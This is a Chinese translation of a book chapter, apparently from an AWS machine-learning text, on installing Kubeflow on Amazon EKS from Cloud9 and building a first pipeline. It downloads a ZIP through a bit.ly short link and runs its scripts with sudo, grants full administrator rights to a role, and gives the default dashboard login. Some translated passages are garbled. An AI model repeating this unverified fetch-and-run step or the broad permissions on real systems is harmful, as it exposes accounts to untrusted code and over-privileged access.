访问在 第一章 “AWS 机器学习工程简介” 中的 创建您的 Cloud9 环境 和 增加 Cloud9 存储空间 部分准备的 Cloud9 环境
每章使用的 Jupyter 笔记本、源代码和其他文件都存放在这个仓库中:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
。
重要提示
建议在运行本书中的示例时,使用具有有限权限的 IAM 用户而不是 root 账户。如果您刚开始使用 AWS,您可以在同时继续使用 root 账户。
深入了解 Kubeflow、Kubernetes 和 EKS
在第三章“深度学习容器”中,我们了解到容器有助于保证应用程序可以运行的运行环境的一致性。在该章节的动手实践中,我们使用了两个容器——一个用于训练我们的深度学习模型,另一个用于部署模型。在更大的应用程序中,我们很可能会遇到运行各种应用程序、数据库和自动化脚本的多个容器的使用。管理这些容器并不容易,创建自定义脚本来管理运行容器的正常运行时间和扩展是一个我们希望避免的开销。因此,建议您使用一个可以帮助您专注于需要完成的任务的工具。可以帮助我们部署、扩展和管理容器化应用程序的可用工具之一是Kubernetes。这是一个开源的容器编排系统,为运行弹性分布式系统提供了一个框架。它自动处理背后的扩展和故障转移工作——这意味着如果您的容器由于某种原因停止工作,Kubernetes 将自动替换它。“酷,不是吗?”当然,这只是可用酷功能之一。除此之外,Kubernetes 还提供了以下功能:
-
自动部署和回滚
-
密钥(凭证)管理
-
管理和分配网络流量到容器
-
存储编排
-
通过根据 CPU 和 RAM 需求相应地调整容器,最大限度地利用服务器(节点)
注意,这个列表并不详尽,使用 Kubernetes 时还有更多功能可用。在使用 Kubernetes 时,我们理解术语、概念和工具至关重要。在图 10.1中,我们可以看到一个 Kubernetes 集群的示例:
图 10.1 – 一个示例 Kubernetes 集群
让我们快速定义并描述一下图 10.1中展示的一些概念:
-
节点:这对应于包含运行容器化应用程序的虚拟或物理机器(或 EC2 实例)。
-
集群:这是一个由节点(或服务器)组成的组。
-
Pod:这是一个或多个应用程序容器的组,代表单个服务单元(在节点内部运行)。
-
控制平面:它管理 Kubernetes 集群中的工作节点(服务器)以及 Pod。
-
kubectl:这是用于运行管理 Kubernetes 资源的命令行工具。
注意,这是一个简化的列表,因为我们不会深入探讨本章中其他的概念和术语。了解它们应该足以帮助我们完成本章的动手实践解决方案。
在 AWS 上运行 Kubernetes 时,建议您使用像Amazon EKS这样的托管服务,它可以帮助我们在幕后管理很多事情——包括控制平面节点(这些节点专注于存储集群数据、确保应用程序可用性以及集群中的其他重要流程和任务)。当使用 Amazon EKS 时,我们不再需要担心控制平面实例的管理,因为 AWS 会自动扩展这些实例,并为我们替换任何不健康的实例。除此之外,Amazon EKS 还帮助工程师在使用 Kubernetes 时无缝地与其他 AWS 服务和资源(例如,AWS IAM、AWS 应用程序负载均衡器和Amazon CloudWatch)一起工作。
注意
使用 Kubernetes 和 Amazon EKS 可以设置节点的自动扩展。这可以通过诸如Kubernetes 集群自动扩展器等解决方案进行配置。更多信息,请随时查看aws.github.io/aws-eks-best-practices/cluster-autoscaling/
。
管理 EKS 集群的主要工具是eksctl命令行工具。使用此工具,可以轻松地通过单个命令创建、更新和删除 EKS 集群。一旦集群可用,我们就可以使用其他工具,如kubectl命令行工具,在集群内部创建和管理 Kubernetes 资源。
由于 Kubernetes 的强大和潜力,许多其他工具都建立在它之上。其中包括Kubeflow——一个流行的开源机器学习平台,专注于帮助数据科学家和机器学习工程师在 Kubernetes 上编排和管理复杂的机器学习工作流程。Kubeflow 汇集了数据科学家和机器学习工程师已经熟悉的机器学习和数据科学工具集。以下是一些包括在内的工具:
-
JupyterHub – 这是一个帮助生成和管理多个 Jupyter 笔记本(数据科学家可以在其中运行机器学习实验代码)的枢纽。
-
Argo Workflows – 这是一个运行自动化管道的工作流引擎。
-
Knative Serving – 这使得快速部署无服务器容器(其中可以运行机器学习模型)成为可能。
-
Istio – 这是一个服务网格,提供了一种轻松管理集群中部署的微服务之间的网络配置和通信的方式。
-
MinIO – 这是一个原生支持 Kubernetes 的多云对象存储解决方案。
使用 Kubeflow,机器学习从业者可以在不担心基础设施的情况下执行机器学习实验和部署。同时,可以使用 Kubeflow 中提供的各种工具(如Kubeflow Pipelines和Kubeflow Pipelines SDK)轻松部署和管理自动化的机器学习工作流和管道。当这些管道被正确构建时,它们可以帮助数据科学家和机器学习工程师通过自动化机器学习过程中的不同步骤节省大量时间。同时,这些管道可以启用自动模型重新训练,这将有助于确保部署的模型使用最新的训练数据进行更新。
现在我们对将要使用的工具有了更好的了解,我们将继续准备使用 Kubeflow 在 Amazon EKS 上运行机器学习管道所需的基本先决条件!
准备基本先决条件
在本节中,我们将进行以下工作:
-
准备 Cloud9 环境 EC2 实例的 IAM 角色
-
将 IAM 角色附加到 Cloud9 环境的 EC2 实例
-
更新 Cloud9 环境的基本先决条件
让我们逐一工作和准备基本先决条件。
准备 Cloud9 环境 EC2 实例的 IAM 角色
为了我们能够从 Cloud9 环境的 EC2 实例内部安全地创建和管理Amazon EKS和AWS CloudFormation资源,我们需要将 IAM 角色附加到 EC2 实例。在本节中,我们将准备这个 IAM 角色,并配置它所需的权限以创建和管理本章中的其他资源。
注意
在本章的“在 Amazon EKS 上设置 Kubeflow”部分,我们将更详细地讨论Amazon EKS和AWS CloudFormation。
在下一组步骤中,我们将导航到 IAM 控制台并创建一个 IAM 角色,该角色将在本章后面附加到 Cloud9 环境的 EC2 实例:
- 按照图 10.2 中所示,在搜索栏中输入
iam
,然后从结果列表中点击IAM导航到 IAM 控制台:
图 10.2 – 导航到 IAM 控制台
在图 10.2中,我们展示了导航到 IAM 控制台的一种方法。另一种选择是点击服务下拉菜单(如图所示截图未展示)并在安全、身份和合规服务组下找到IAM服务。
-
在左侧边栏中找到并点击角色(在访问管理下)。
-
在页面右上角找到并点击创建角色按钮。
-
在选择受信任实体页面(这是 3 个步骤中的第 1 步),在受信任实体类型下选择AWS 服务,如图 10.3 所示:
图 10.3 – 选择受信任实体页面
在这里,我们还要确保在用例 > 常见用例下选择了EC2选项。一旦我们审查了所选选项,我们就可以点击后续的下一步按钮。
- 在管理员过滤器搜索框中输入
管理员
(如图 10.4 所示高亮显示),然后按Enter键过滤结果列表。勾选对应于管理员访问策略的复选框,滚动到页面底部,然后点击下一步按钮:
图 10.4 – 添加权限页面
确保你不会不小心从过滤结果列表中选择错误的权限,因为有一些权限具有相似的名字。管理员访问策略应该有描述值为提供对 AWS 服务和资源的完全访问。
重要提示
在本章中,使用AdministratorAccess
策略将帮助我们避免在设置过程中遇到不同的权限相关问题。当你在工作环境中设置时,你应该使用一个自定义策略,该策略仅添加 EC2 实例运行应用程序所需的权限(而不添加更多)。
- 在角色名称输入框中输入
kubeflow-on-eks
。滚动到页面底部,然后点击创建角色按钮。
难道不是很简单吗!到这一点,我们应该有一个可以附加到 AWS 资源(如 EC2 实例)的 IAM 角色。
将 IAM 角色附加到 Cloud9 环境的 EC2 实例
现在我们有了准备好的 IAM 角色,我们可以继续将此 IAM 角色附加到 EC2 实例。
重要提示
在本章中,我们将创建和管理我们在us-west-2
区域中的资源。确保在继续下一步之前,你已经设置了正确的区域。
在接下来的步骤中,我们将使用 AWS 管理控制台将 IAM 角色附加到运行 Cloud9 环境的 EC2 实例:
- 在搜索栏中输入
cloud9
,然后从结果列表中选择Cloud9:
在图 10.5 中,我们展示了导航到 Cloud9 服务页面的方法之一。另一种选择是点击服务下拉菜单(在先前的屏幕截图中未显示)并定位到开发者工具组中的Cloud9服务。
- 定位并选择我们在第一章“AWS 机器学习工程简介”中准备好的 Cloud9 环境:
图 10.6 – 定位查看详情按钮
一旦你选择了 Cloud9 环境,点击页面右上角(如图 10.6 所示高亮显示)的查看详情按钮。
注意
您也可能决定从头创建一个新的 Cloud9 环境,并增加运行环境的 EC2 实例的卷大小。如果是这样,请确保遵循 第一章 AWS 机器学习工程简介 中 创建您的 Cloud9 环境 和 增加 Cloud9 存储 部分的逐步说明。
- 在 环境详情 下,找到并点击如图 10.7 所示的高亮部分 转到实例 链接:
图 10.7 – 定位并点击“转到实例”按钮
这应该会将您重定向到 EC2 控制台,在那里您应该能看到 Cloud9 环境正在运行的特定 EC2 实例。
- 打开与 EC2 实例(以
aws-cloud9
开头)对应的复选框,然后打开如图 10.8 所示的高亮部分 操作 下拉菜单:
图 10.8 – 修改 EC2 实例的 IAM 角色
-
接下来,我们在 安全 选项下的列表中找到并点击 修改 IAM 角色 选项。这应该会将您重定向到一个页面,您可以在其中选择要附加到所选 EC2 实例的特定 IAM 角色。
-
在 IAM 角色下拉菜单(如图 10.9 所示的高亮部分),找到并选择本章 earlier 创建的 IAM 角色(即
kubeflow-on-eks
IAM 角色):
图 10.9 – 指定 kubeflow-on-eks 作为 IAM 角色
一旦我们将 IAM 角色下拉值更新为 kubeflow-on-eks
,现在您可以点击如图 10.9 所示的高亮部分 更新 IAM 角色 按钮。
-
在搜索栏中输入
cloud9
并从结果列表中选择 Cloud9,以返回 Cloud9 控制台。 -
定位并点击与我们的 Cloud9 环境相关的 打开 IDE 按钮。这应该会打开一个类似于 图 10.10 所示的 Cloud9 环境:
图 10.10 – Cloud9 环境
在这里,我们应该看到一个熟悉的屏幕(因为我们已经在 第一章 AWS 机器学习工程简介 和 第三章 深度学习容器 中使用过)。
在 Cloud9 环境的终端(屏幕下方的 $ 符号之后),运行以下命令以禁用环境内的托管临时凭证:
ENV_ID=$C9_PID
aws cloud9 update-environment --managed-credentials-action DISABLE --environment-id $ENV_ID
-
此外,让我们从
.aws
目录中删除凭证文件,以确保没有临时凭证:rm -vf /home/ubuntu/.aws/credentials
-
最后,让我们验证 Cloud9 环境是否正在使用本章准备的 IAM 角色(即
kubeflow-on-eks
IAM 角色):aws sts get-caller-identity --query Arn
这应该会得到以下类似的结果:
arn:aws:sts::1234567890:assumed-role/kubeflow-on-eks/i-abcdefgh12345
一旦我们验证了我们在 Cloud9 环境中使用的是正确的 IAM 角色,我们就可以继续下一部分。
注意
这里发生了什么? IAM 角色(附加到 AWS 资源)在每几个小时就会生成并提供凭证。为了我们能够使用 IAM 角色,我们需要删除 Cloud9 环境中现有的任何凭证集,这样环境就会使用 IAM 角色凭证。有关此主题的更多信息,请随时查看 docs.aws.amazon.com/cloud9/latest/user-guide/security-iam.xhtml
。
更新 Cloud9 环境以包含基本先决条件
在我们能够创建我们的 EKS 集群并在其上设置 Kubeflow 之前,我们需要下载和安装一些先决条件,包括几个命令行工具,例如 kubectl、eksctl 和 kustomize。
注意
我们将在本章的 在 Amazon EKS 上设置 Kubeflow 部分讨论这些是如何工作的。
在接下来的步骤中,我们将运行几个脚本,以安装在我们的环境中运行 Kubernetes 和 Kubeflow 所需的先决条件:
-
让我们从使用
wget
命令(在 Cloud9 环境的终端中)下载包含各种安装脚本的prerequisites.zip
文件开始。之后,我们将使用unzip
命令提取我们刚刚下载的 ZIP 文件的内容:wget -O prerequisites.zip https://bit.ly/3ByyDGV
unzip prerequisites.zip
这应该从 ZIP 文件中提取以下文件:
-
00_install_kubectl_aws_jq_and_more.sh
– 这是一个运行所有其他脚本(前缀为01
到07
)以安装先决条件的脚本。 -
01_install_kubectl.sh
– 这是一个安装 kubectl 命令行工具的脚本。 -
02_install_aws_cli_v2.sh
– 这是一个安装 AWS CLI v2 的脚本。 -
03_install_jq_and_more.sh
– 这是一个安装和设置一些先决条件的脚本,例如 jq 和 yq。 -
04_check_prerequisites.sh
– 这是一个检查是否已成功安装前几个先决条件的脚本。 -
05_additional_setup_instructions.sh
– 这是一个设置 Bash 完成的脚本。 -
06_download_eksctl.sh
– 这是一个安装 eksctl 命令行工具的脚本。 -
07_install_kustomize.sh
– 这是一个安装 kustomize 版本 3.2.3 的脚本。
-
导航到
ch10_prerequisites
文件夹并运行chmod
命令以使文件夹内的脚本可执行:cd ch10_prerequisites
chmod +x *.sh
-
现在,运行以下命令以开始安装和设置过程:
sudo ./00_install_kubectl_aws_jq_and_more.sh
这应该会从 01_install_kubectl.sh
到 07_install_kustomize.sh
的顺序运行 ch10_prerequisites
文件夹内的其他脚本。
注意
一旦 00_install_kubectl_aws_jq_and_more.sh
脚本运行完成,一些先决条件,如 AWS CLI v2、eksctl 和 kustomize,应该已经可用,我们可以使用它们来准备 Kubernetes 集群(如果安装过程中没有错误)。在继续之前,请确保您已检查脚本生成的日志。
-
验证我们当前拥有的 AWS CLI 版本:
aws --version
这应该会得到以下类似的结果:
aws-cli/2.7.20 Python/3.9.11 Linux/5.4.0-1081-aws exe/x86_64.ubuntu.18 prompt/off
-
接下来,让我们验证我们将使用的
kustomize
版本:kustomize version
这应该会得到以下类似的结果:
Version: {Version:kustomize/v3.2.3 GitCommit:f8412aa3d39f32151525aff97a351288f5a7470b BuildDate:2019-10-08T23:30:25Z GoOs:linux GoArch:amd64}
-
让我们验证
eksctl
的版本:eksctl version
这应该会得到以下类似的结果:
0.109.0
-
运行以下命令,以便安装脚本中的其他更改(如环境变量值)反映在我们的当前 shell 中:
. ~/.bash_completion
. ~/.bash_profile
. ~/.bashrc
注意在每行开头的点(.
)和波浪号(~
)之前有一个空格。
-
运行以下命令块以设置一些环境变量并在使用 AWS CLI 时配置默认区域:
export AWS_REGION="us-west-2"
echo "export AWS_REGION=${AWS_REGION}" | tee -a ~/.bash_profile
aws configure set default.region ${AWS_REGION}
-
最后,验证默认区域是否已成功设置:
aws configure get default.region
如果我们在俄勒冈州运行我们的 Cloud9 环境,这将得到 us-west-2
的值。
现在所有先决条件都已安装、设置和验证,我们可以继续创建 EKS 集群并在其上设置 Kubeflow!
在 Amazon EKS 上设置 Kubeflow
在所有先决条件准备就绪后,我们现在可以继续创建我们的 EKS 集群,然后在上面安装 Kubeflow。在安装和设置过程中,我们将使用以下工具:
-
eksctl – 用于创建和管理 Amazon EKS 集群的 CLI 工具
-
kubectl – 用于创建、配置和删除 Kubernetes 资源的 CLI 工具
-
AWS CLI – 用于创建、配置和删除 AWS 资源的 CLI 工具
-
kustomize – 用于管理 Kubernetes 对象配置的 CLI 工具
本节的实际操作部分涉及遵循一系列高级步骤:
-
准备包含 EKS 配置的
eks.yaml
文件(例如节点数量、期望容量和实例类型) -
使用
eks.yaml
文件运行eks create cluster
命令以创建 Amazon EKS 集群 -
使用 kustomize 和 kubectl 在我们的集群内安装 Kubeflow
考虑到这些,我们现在可以继续设置我们的 EKS 集群和 Kubeflow:
-
在上一节结束的地方继续,让我们在 Cloud9 环境的终端中运行以下命令:
cd ~/environment
mkdir ch10
cd ch10
在这里,我们使用 mkdir
命令创建 ch10
目录。之后,我们将使用 cd
命令进入该目录。
-
接下来,让我们使用
touch
命令创建一个空的eks.yaml
文件:touch eks.yaml
-
在 文件树 中,找到名为您的 Cloud9 环境的环境目录。右键单击此目录以打开类似于 图 10.11 中所示的下拉菜单:
图 10.11 – 刷新显示的目录和文件
从选项列表中选择 刷新,以确保最新的更改已反映在文件树中。
-
接下来,在文件树中双击
eks.yaml
文件(位于ch10
目录中),在 编辑器 面板中打开文件。在这个空白文件中,指定以下 YAML 配置:---
apiVersion: eksctl.io/v1alpha5
kind: ClusterConfig
metadata:
name: kubeflow-eks-000
region: us-west-2
version: "1.21"
availabilityZones: ["us-west-2a", "us-west-2b", "us-west-2c", "us-west-2d"]
managedNodeGroups:
- name: nodegroup
desiredCapacity: 5
instanceType: m5.xlarge
ssh:
enableSsm: true
确保通过按 Ctrl + S 键(或者,在 Mac 设备上,按 Cmd + S 键)保存您的更改。此外,您还可以使用 文件 菜单中的 保存 选项来保存您的更改。
重要提示
在继续之前,我们必须清楚当我们使用此配置文件运行 eksctl create cluster
命令时将创建哪些资源。在这里,我们指定我们希望我们的集群(命名为 kubeflow-eks-000
)拥有五个 (5
) 个 m5.xlarge
实例。一旦你在下一步运行 eksctl create cluster
命令,请确保在集群创建后的一小时内或两小时内删除集群以管理成本。一旦你需要删除集群,请随时跳转到本章末尾的 清理 部分。
-
在为我们的集群创建真实资源之前,让我们使用带有
--dry-run
选项的eksctl create cluster
命令:eksctl create cluster -f eks.yaml --dry-run
这应该有助于我们在创建实际资源集合之前检查配置。
-
现在,让我们使用
eksctl create
命令创建我们的集群:eksctl create cluster -f eks.yaml
在这里,我们使用之前步骤中准备的 eks.yaml
文件作为运行命令时的配置文件。
重要提示
如果您遇到类似 eks.yaml
文件中的 version
字符串值错误的消息,并且错误消息中指定了最低支持的版本。一旦您已更新 eks.yaml
文件,您可以再次运行 eksctl create cluster
命令并检查问题是否已解决。有关此主题的更多信息,请随时查看 docs.aws.amazon.com/eks/latest/userguide/kubernetes-versions.xhtml
。
运行 eksctl create cluster
命令可能需要 15-30 分钟才能完成。它将使用 CloudFormation 堆栈来启动 AWS 资源。如果您想知道 CloudFormation 是什么,它是一种服务,允许您在模板中定义您的基础设施组件及其设置。然后,CloudFormation 读取此模板以提供您基础设施所需资源:
图 10.12 – 使用 eksctl 创建 EKS 资源的过程
在 图 10.12 中,我们可以看到 eksctl
命令利用 eks.yaml
文件来准备 CloudFormation 服务将用于部署资源的模板。
注意
注意,eksctl
也会在 CloudFormation 之外创建其他资源。这意味着用于准备 EKS 资源的 CloudFormation 模板将不会包含使用eksctl
命令创建的所有资源。话虽如此,当删除本节中创建的资源时,最好使用eksctl delete cluster
命令。一旦需要删除资源,请确保遵循本章清理部分中指定的说明。
-
让我们快速使用
kubectl get nodes
命令检查我们的设置:kubectl get nodes -o wide
这应该会给我们提供五个节点,其状态值为就绪。
重要提示
如果在部署 EKS 集群时遇到问题,请确保检查docs.aws.amazon.com/eks/latest/userguide/troubleshooting.xhtml
。
-
在继续之前,让我们确保
CLUSTER_NAME
和CLUSTER_REGION
已经设置了适当的值:CLUSTER_NAME=kubeflow-eks-000
CLUSTER_REGION=us-west-2
在这里,我们指定一个与eks.yaml
文件中指定的名称等效的CLUSTER_NAME
值。请注意,如果您需要实验另一组配置参数,您可以指定不同的集群名称(通过更新CLUSTER_NAME
和eks.yaml
文件),并在创建新集群时将kubeflow-eks-000
替换为kubeflow-eks-001
(等等)。只需确保在创建新集群之前正确删除任何现有集群。
-
此外,让我们将一个 IAM OIDC 提供程序与集群关联:
eksctl utils associate-iam-oidc-provider --cluster $CLUSTER_NAME --approve -v4
那么,IAM OIDC 提供程序是什么?嗯,它是一个 IAM 实体,用于在您的 AWS 账户和外部 OpenID Connect 兼容的身份提供程序之间建立信任。这意味着我们不必创建 IAM 用户,而是可以使用 IAM OIDC 提供程序,并授予这些身份在我们的 AWS 账户中操作资源的权限。
注意
关于这个主题的更多信息,请随时查看docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.xhtml
。
-
让我们使用
aws eks update-kubeconfig
命令来配置kubectl
,以便我们可以连接到 Amazon EKS 集群:aws eks update-kubeconfig --name $CLUSTER_NAME --region ${AWS_REGION}
-
接下来,我们将克隆两个包含所需安装的 Kubernetes 对象规范(manifests)的仓库:
export KUBEFLOW_VERSION=v1.5.1
export AWS_VERSION=v1.5.1-aws-b1.0.0
git clone https://github.com/awslabs/kubeflow-manifests.git && cd kubeflow-manifests
git checkout ${AWS_VERSION}
git clone --branch ${KUBEFLOW_VERSION} \
https://github.com/kubeflow/manifests.git upstream
-
导航到
deployments/vanilla
目录:cd deployments/vanilla
我们应该在这个目录中找到一个kustomization.yaml
文件。关于这个主题的更多信息,请随时查看kubernetes.io/docs/tasks/manage-kubernetes-objects/kustomization/
。
-
一切准备就绪,让我们运行这条单行命令来安装 Kubeflow 组件和服务:
while ! kustomize build . | kubectl apply -f -; do echo "Retrying"; sleep 30; done
注意
此步骤大约需要 4-10 分钟才能完成。如果输出日志似乎已经无限循环超过 20-30 分钟,你可能需要尝试在 eks.yaml
文件中的 version
字符串值中调整不同的值。我们可以使用哪些值? 假设当前支持的版本是 1.20
、1.21
、1.22
和 1.23
(如 docs.aws.amazon.com/eks/latest/userguide/kubernetes-versions.xhtml
所示)。我们应该尝试使用版本 1.23 吗? 如果我们在 eks.yaml
文件中使用最新的支持 Kubernetes 版本 1.23
,可能会遇到安装 Kubeflow 的问题。我们可能需要等待几个月,直到 Kubeflow 的支持赶上(如 awslabs.github.io/kubeflow-manifests/docs/about/eks-compatibility/
所示)。话虽如此,当使用 eksctl create cluster
命令时,我们可以在 eks.yaml
文件中尝试指定 1.20
、1.21
或 1.22
(从最低支持的版本 1.20
开始)。考虑到这些,下一步是使用 eksctl delete cluster
命令删除集群(请参阅 清理 部分),更新 eks.yaml
文件以包含所需的 Kubernetes 版本,然后重复本节中的 eksctl create cluster
命令的步骤。
-
让我们快速检查创建的资源,使用以下命令:
ns_array=(kubeflow kubeflow-user-example-com kserve cert-manager istio-system auth knative-eventing knative-serving)
for i in ${ns_array[@]}; do
echo "[+] kubectl get pods -n $i"
kubectl get pods -n $i;
echo "---"
done
在这里,我们使用 kubectl get pods
命令检查集群节点内创建的资源。
-
现在,我们运行以下命令以便可以通过 Cloud9 环境的
8080
端口访问 Kubeflow 仪表板:kubectl port-forward svc/istio-ingressgateway -n istio-system 8080:80 --address=localhost
-
点击页面顶部的 预览(位于 图 10.13 所示的位置)以打开类似于 图 10.13 的下拉菜单选项列表:
图 10.13 – 预览运行中的应用
从下拉菜单选项列表中,选择 预览运行中的应用 以打开屏幕底部终端窗格旁边的小窗口。
注意
我们能够直接从我们的 Cloud9 环境预览应用程序,因为应用程序目前正在使用 HTTP 通过端口 8080 运行。有关此主题的更多信息,请随时查看 docs.aws.amazon.com/cloud9/latest/user-guide/app-preview.xhtml
。
- 点击如图 图 10.14 所示的按钮,在单独的浏览器标签页中打开预览窗口:
图 10.14 – 在新窗口中预览
确保在第二个浏览器标签页中预览应用程序时,不要关闭运行 Cloud9 环境的浏览器标签页。
-
在
user@example.com
上指定以下凭据 -
12341234
重要提示
不要与他人分享应用程序预览标签的 URL。要更改默认密码,请随意查看以下链接:awslabs.github.io/kubeflow-manifests/docs/deployment/connect-kubeflow-dashboard/
这应该会重定向到Kubeflow 中央仪表板,类似于图 10.15中所示:
图 10.15 – Kubeflow 中央仪表板
在图 10.15中,我们可以看到Kubeflow 中央仪表板——一个仪表板界面,它提供了对我们创建和工作的组件和资源的即时访问。请随意使用侧边栏导航到仪表板的各个部分。
最后,所有设置工作都已完成!在下一节中,我们将运行我们的第一个自定义 Kubeflow 管道。在继续之前,请随意拿一杯咖啡或茶。
运行我们的第一个 Kubeflow 管道
在本节中,我们将运行一个自定义管道,该管道将下载一个示例表格数据集,并将其用作训练数据来构建我们的线性回归模型。管道将执行的步骤和指令已在 YAML 文件中定义。一旦上传了此 YAML 文件,我们就可以运行一个 Kubeflow 管道,该管道将执行以下步骤:
- 下载数据集:在这里,我们将下载并使用一个只有 20 条记录的数据集(包括包含标题的行)。此外,我们将从一个没有缺失或无效值的干净版本开始:
图 10.16 – 一个示例表格数据集
在图 10.16中,我们可以看到我们的数据集有三列:
-
last_name
– 这是指管理者的姓氏。 -
management_experience_months
– 这是指管理者管理团队成员的总月份数。 -
monthly_salary
– 这是指管理者每月的当前薪水(以美元计)。
为了简化一些事情,我们将使用只有少量记录的数据集——足以生成一个简单的机器学习模型。此外,我们将从一个没有缺失或无效值的干净版本开始。
-
monthly_salary
) 第二列是预测列(management_experience_months
)。同时,我们将执行训练-测试分割,以便我们可以使用 70%的数据集来训练模型,剩余的 30%用于评估。 -
使用
LinearRegression
算法在训练数据上拟合线性模型。 -
评估模型:一旦完成训练步骤,我们将使用测试集对其进行评估。
-
monthly_salary
) 给定一个输入值(management_experience_months
)。
注意
注意,我们完全控制我们的管道将如何运行。我们可以将管道视为一系列步骤,其中每个步骤可能会生成一个输出,然后被另一个步骤用作输入。
现在我们对我们的流程有了更好的了解,让我们开始运行我们的第一个流程:
-
让我们从在另一个浏览器标签页中打开以下链接开始:
raw.githubusercontent.com/PacktPublishing/Machine-Learning-Engineering-on-AWS/main/chapter10/basic_pipeline.yaml
。 -
右键单击页面上的任何部分以打开一个类似于图 10.17中所示的下拉菜单:
图 10.17 – 下载 YAML 文件
将文件保存为basic_pipeline.yaml
,并将其下载到您本地机器的下载
文件夹(或类似位置)。
-
在浏览器标签页中回到显示Kubeflow 中央仪表板,在侧边栏中找到并点击流程。
-
接下来,点击上传流程按钮(位于刷新按钮旁边)
-
在您的本地机器上的
basic_pipeline.yaml
文件(使用提供的文件输入字段)下我的第一个流程。最后,点击创建按钮(如图 10.18 所示):
图 10.18 – 上传流程(文件)
点击创建按钮应该会创建流程,并带您转到类似于图 10.19所示的流程页面:
图 10.19 – 第一个流程的图表
到目前为止,我们的流程应该已经准备好了!下一步将是创建一个实验并运行它。
注意
发生了什么? 在上传 YAML 文件后,Kubeflow Pipelines 将 YAML 文件转换为可以通过流程运行执行的流程。
-
接下来,找到并点击页面右上角的创建实验按钮。如果您找不到创建实验按钮,请随意放大/缩小(并关闭可能出现的任何弹出窗口和覆盖层)。
-
在实验名称下指定
我的第一个实验
。然后点击下一步按钮。 -
在启动运行页面,滚动到页面底部,然后点击启动按钮。
-
找到并点击我的第一个流程下的运行,如图 10.20 所示:
图 10.20 – 导航到流程运行
在这里,我们可以看到我们的流程已经开始运行。在导航到特定的流程运行页面后,你应该会看到一个相对较新或部分完成的流程,类似于图 10.21所示:
图 10.21 – 等待流程运行完成
这应该需要大约 1-2 分钟来完成。你应该会看到每个已成功完成的步骤上都有一个勾号。
- 当管道运行时,您可能需要点击任何步骤来检查相应的输入和输出工件、日志和其他详细信息:
图 10.22 – 检查工件
在图 10.22中,我们可以看到在点击对应于处理数据步骤的框之后,我们可以查看和调试输入和输出工件。此外,我们还应该通过导航到其他标签(可视化、详细信息、卷和日志)来找到关于当前步骤的其他详细信息。
恭喜您运行了您的第一个管道!如果您想知道我们是如何准备这个管道的,我们只是简单地使用了Kubeflow Pipelines SDK来定义管道的步骤并生成包含所有指令和配置的 YAML 文件。在下一节中,我们将更深入地探讨在构建定制机器学习管道时使用Kubeflow Pipelines SDK。
使用 Kubeflow Pipelines SDK 构建机器学习工作流程
在本节中,我们将使用Kubeflow Pipelines SDK构建机器学习工作流程。Kubeflow Pipelines SDK 包含了构建包含我们想要运行的定制代码的管道组件所需的所有内容。使用 Kubeflow Pipelines SDK,我们可以定义将映射到管道组件的 Python 函数。
在使用 Kubeflow Pipelines SDK 构建基于 Python 函数的组件时,我们需要遵循以下一些指南:
-
定义好的 Python 函数应该是独立的,并且不应该使用在函数定义外部声明的任何代码和变量。这意味着
import pandas
也应该在函数内部实现。以下是一个快速示例,说明如何实现导入:def process_data(...):
import pandas as pd
df_all_data = pd.read_csv(df_all_data_path)
# and so on...
-
当在组件之间传递大量数据(或具有复杂数据类型的数据)时,必须以文件的形式传递数据。以下是一个快速示例:
def evaluate_model(
model_path: InputPath(str),
df_test_data_path: InputPath(str)):
import pandas as pd
from joblib import load
df_test_data = pd.read_csv(df_test_data_path)
model = load(model_path)
# and so on...
-
使用
create_component_from_func()
函数(来自kfp.components
)将定义的函数转换为管道组件。在调用create_component_from_func()
函数时,可以在packages_to_install
参数中指定一个包列表,类似于以下代码块中的内容:process_data_op = create_component_from_func(
process_data,
packages_to_install=['pandas', 'sklearn']
)
在函数执行之前,将安装指定的包。
- 可选地,我们可能准备一个自定义容器镜像,该镜像将被用于 Python 函数运行的 环境。在调用
create_component_from_func()
函数时,可以在base_image
参数中指定自定义容器镜像。
话虽如此,让我们开始使用Kubeflow Pipelines SDK定义和配置我们的机器学习管道:
-
在Kubeflow Central Dashboard的侧边栏中找到并点击笔记本。
-
接下来,点击新建笔记本按钮。
-
将名称输入字段的值指定为
first-notebook
。 -
滚动到页面底部,然后点击启动按钮。
注意
等待笔记本变得可用。通常需要 1-2 分钟才能准备好笔记本。
-
笔记本变得可用后,点击 CONNECT 按钮。
-
在 Jupyter Lab Launcher 中,选择 Python 3 选项(在 Notebook 下),如 图 10.23 中所示:
图 10.23 – Jupyter Lab Launcher
这应该创建一个新的 Jupyter Notebook(在 Kubernetes Pod 内部的容器中),我们可以在这里运行我们的 Python 代码。
注意
我们将在启动的 Jupyter 笔记本中运行的后续步骤中运行代码块。
-
让我们从 Kubeflow Pipelines SDK 中执行一些导入操作:
import kfp
from kfp import dsl
from kfp.components import InputPath, OutputPath
from kfp.components import create_component_from_func
-
在我们管道的第一步中,我们定义了
download_dataset()
函数,该函数下载一个虚拟数据集并将其转换为 CSV 文件。这个 CSV 文件通过df_all_data_path
OutputPath
对象传递到下一步:def download_dataset(
df_all_data_path: OutputPath(str)):
import pandas as pd
url="https://bit.ly/3POP8CI"
df_all_data = pd.read_csv(url)
print(df_all_data)
df_all_data.to_csv(
df_all_data_path,
header=True,
index=False)
-
在我们管道的第二步中,我们定义了
process_data()
函数,其中我们读取前一步骤的 CSV 数据并应用训练-测试拆分,这将产生一个训练集和一个测试集。然后,这些可以保存为 CSV 文件,并通过df_training_data_path
和df_test_data_path
OutputPath
对象分别传递到下一步:def process_data(
df_all_data_path: InputPath(str),
df_training_data_path: OutputPath(str),
df_test_data_path: OutputPath(str)):
import pandas as pd
from sklearn.model_selection import \
train_test_split
df_all_data = pd.read_csv(df_all_data_path)
print(df_all_data)
mem = 'management_experience_months'
ms = 'monthly_salary'
X = df_all_data[mem].values
y = df_all_data[ms].values
X_train, X_test, y_train, y_test = \
train_test_split(
X, y, test_size=0.3, random_state=0
)
df_training_data = pd.DataFrame({
'monthly_salary': y_train,
'management_experience_months': X_train
})
df_training_data.to_csv(
df_training_data_path,
header=True, index=False
)
df_test_data = pd.DataFrame({
'monthly_salary': y_test,
'management_experience_months': X_test
})
df_test_data.to_csv(
df_test_data_path,
header=True, index=False
)
-
在我们管道的第三步中,我们定义了
train_model()
函数,其中我们使用前一步骤的训练数据来训练一个样本模型。然后,训练好的模型通过model_path
OutputPath
对象保存并传递到下一步:def train_model(
df_training_data_path: InputPath(str),
model_path: OutputPath(str)):
import pandas as pd
from sklearn.linear_model import LinearRegression
from joblib import dump
